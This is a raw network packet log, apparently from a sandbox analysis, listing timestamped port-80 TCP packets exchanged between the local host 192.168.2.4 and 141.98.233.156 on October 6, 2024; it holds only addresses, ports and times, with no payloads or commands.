Oct 6, 2024 22:33:17.803411007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803430080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803445101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803452969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803462029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803473949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803476095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803484917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803493977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803503036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803508043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803519964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803524971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803534985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803541899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803554058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803558111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803561926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803575039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803585052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803601980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803610086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.803939104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803956032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803971052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803987980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.803997993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804012060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804040909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804115057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804131031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804145098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804160118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804172993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804176092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804192066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804198027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804207087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804218054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804233074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804234028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804249048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804265022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804275036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804280043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804296017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804297924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804311037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804321051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804327011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804337978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804344893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804359913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804367065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804373026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804392099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804410934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804416895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804428101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804441929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804452896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804457903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804470062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804475069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804481030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804493904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804498911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804510117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804512978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804526091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804548025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804924011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804939032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804966927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.804968119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.804994106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.805001974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806024075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806098938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806111097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806114912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806142092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806155920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806355000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806384087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806400061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806402922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806421041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806431055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806473017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806488991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806513071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806529045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806550026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806564093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806622028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806638002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806652069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806658030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806668997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806668997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806685925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806688070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806699991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806703091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806720018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806737900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806777954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806792974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806814909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806829929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806833982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806843042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806848049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806864023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806868076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806879997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806890965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806895971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.806916952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.806935072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807066917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807081938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807096958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807111979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807118893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807127953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807142019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807143927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807161093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807168961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807177067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807187080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807194948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807214022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807241917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807348967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807364941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807379961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807405949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807425022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807426929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807441950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807457924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807475090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807485104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807490110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807503939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807506084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807523012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807523966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807547092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807574034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807636976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807652950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807667971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807682991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807687998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807698965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807713032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807713985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807729959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807738066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807754993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807777882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807799101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807815075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807828903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807837009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807845116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807852030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807862043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807878971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807878971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807895899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807921886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807945013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807960033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807974100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.807981014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.807990074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808005095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808006048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808028936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808053017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808063984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808078051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808092117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808104038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808108091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808114052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808124065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808134079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808140039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808146954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808156967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808166981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808171988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808176994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808187962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808192015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808202982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808212042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808222055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808231115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808240891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808255911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808270931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808285952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808295965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808300972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808315039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808317900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808334112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808339119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808351994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808361053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808389902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808764935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808789968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808804989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808828115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808829069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808844090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808846951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808860064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808870077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808873892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808890104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808900118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808900118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808904886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808916092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808916092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808921099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808936119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808938026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808954000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808965921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808978081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808978081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.808993101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.808994055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809010983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809012890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809024096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809026957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809042931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809045076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809062004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809065104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809072971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809077978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809093952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809098959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809108973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809112072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809128046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809139013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809144974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809148073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809170008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809182882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809453011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809468031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809483051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809498072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809506893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809513092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809530020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809537888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809551954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809555054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809567928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809575081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809593916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809596062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809607029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809608936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809626102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809631109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809639931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809642076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809659004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809664011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809679031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809680939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809689999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809695005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809710979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809715986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809726000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809730053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809741974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809748888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809757948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809761047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809773922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809782028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809789896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809791088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809807062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809822083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809830904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809837103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809849977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809854031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.809879065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.809886932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810151100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810167074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810182095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810192108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810198069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810199976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810214996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810221910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810230970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810234070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810246944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810250998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810264111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810266018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810280085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810286045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810295105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810296059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810314894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810321093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810327053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810336113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810353041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810359001 CEST	49741	80	192.168.2.4	141.98.233.156
